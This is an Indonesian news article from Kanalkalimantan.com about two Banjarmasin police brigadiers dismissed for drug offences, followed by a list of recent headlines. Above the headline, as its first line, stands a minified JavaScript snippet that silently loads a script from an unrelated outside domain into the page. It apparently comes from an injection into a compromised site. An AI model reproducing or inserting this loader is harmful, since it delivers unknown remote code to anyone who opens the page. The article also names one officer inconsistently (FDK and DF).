(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Dua Polisi Berpangkat Brigadir di Banjarmasin Dipecat Gegara Narkoba


KANALKALIMANTAN.COM, BANJARMASIN – Dua anggota polisi dari kesatuan Kepolisian Resor (Polres) Kota Banjarmasin diberhentikan secara tidak hormat karena tersandung kasus narkoba.

Mereka adalah Brigadir RW dan Brigadir FDK yang kasus hukumnya telah diputus oleh Hakim Pengadilan Negeri (PN) Banjarmasin.

Pemecatan atau Pemberhentian Tidak Dengan Hormat (PTDH) dikarenakan keduanya melanggar kode etik Polri terlibat tindak pidana narkotika.

Baca juga: Yuk Lawan Hoax dan Jadi Netizen Hebat Indonesia

Pencopotan dua anggota kepolisian tersebut dilaksanakan melalui upacara di halaman Mapolres Banjarmasin Jalan Ahmad Yani Km 4 Kota Banjarmasin, Kamis (26/7/2024).

Brigadir RW hadir secara langsung saat upacara, sedangkan Brigadir DF hanya diwakili foto yang bersangkutan.

Mewakili Kapolres Banjarmasin Kombes Pol Cuncun Kurniadi, upacara PTDH dipimpin Wakapolres Banjarmasin, AKBP Arwin Amrih Wientama, dihadiri para Pejabat Utama (PJU) dan Kapolsek jajaran.

Baca juga: Mayat Mengapung di Kolam Bekas Galian Jalan Golf Syamsudin Noor

AKBP Arwin mengatakan, keputusan pemberhentian tidak dengan hormat tersebut sebagai komitmen Polres Banjarmasin dalam menjaga integritas.

“Dengan berat hati, sesuai ketentuan kita laksanakan PTDH, ada dua orang saat ini statusnya yang bersangkutan menjalani hukuman di Lembaga Pemasyarakatan dengan tindak pidana pelanggaran kasus narkotika,” katanya.

AKBP Arwin menegaskan bahwa PTDH ini merupakan langkah tegas sesuai dengan ketentuan yang berlaku dan menjadi pembelajaran penting bagi internal Polri.

Baca juga: FDM HSU Ingin Kualitas Pilkada 2024 Terjaga

Sebagai anggota Porli, kata Arwin, sudah seharusnya patuh terhadap aturan yang berlaku, baik di internal Polri maupun saat bertugas di lapangan.

“Selain penegakan hukum, kita juga harus mengayomi masyarakat,” katanya.

Dia menambahkan bahwa anggota Polri diatur oleh kode etik, profesi dan disiplin ketat.

Baca juga: 26 Juli Hari Mangrove Sedunia, Ekosistem Pertahanan Pantai Alami

“Kami dari Polres Banjarmasin tidak anti kritik dan ingin kehadiran kami benar-benar dirasakan masyarakat,” pungkasnya. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Muhammad Andi

Recent Posts

Alat Bukti Mobil yang Digunakan untuk Eksekusi Juwita Terparkir di Denpom Lanal Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Proses penyidikan kasus kematian wartawati media daring di Banjarbaru, Juwita, yang dibunuh… Read More

8 jam ago

Upayakan Partisipasi Pemilih dalam PSU Banjarbaru Meningkat, KPU Kalsel Pasang Spanduk

KANALKALIMANTAN.COM, BANJARBARU – Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan terus berupaya meningkatkan partisipasi pemilih… Read More

1 hari ago

Dilantik Serentak, Jajaran Badan Adhoc untuk PSU di Banjarbaru Resmi Bekerja

KANALKALIMANTAN.COM, BANJARBARU – Komisi Pemilihan Umum (KPU) Provinsi Kalimantan Selatan resmi melantik ribuan anggota Badan… Read More

1 hari ago

Libur Idulfitri, Pelanggan PTAM Intan Banjar Bisa Bayar Tagihan Lewat SMS Banking, ATM Bank, atau Layanan Pembayaran Online

KANALKALIMANTAN.COM, BANJARBARU - Sehubungan dengan libur hari besar pada akhir Maret dan awal April 2025… Read More

1 hari ago

H Muhammad Wiyatno Bersama Warga Kehangatan di Open House Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Rumah Jabatan (Rujab) Bupati Kapuas di Jalan Jenderal Sudirman, menjadi pusat… Read More

2 hari ago

Pemkab Banjar Gelar Halalbihalal di Mahligai Sultan Adam

KANALKALIMANTAN.COM, MARTAPURA - Momen 1 Syawal 1446 H kali ini bertepatan Senin (31/3/2025) digelar Halalbihalal… Read More

2 hari ago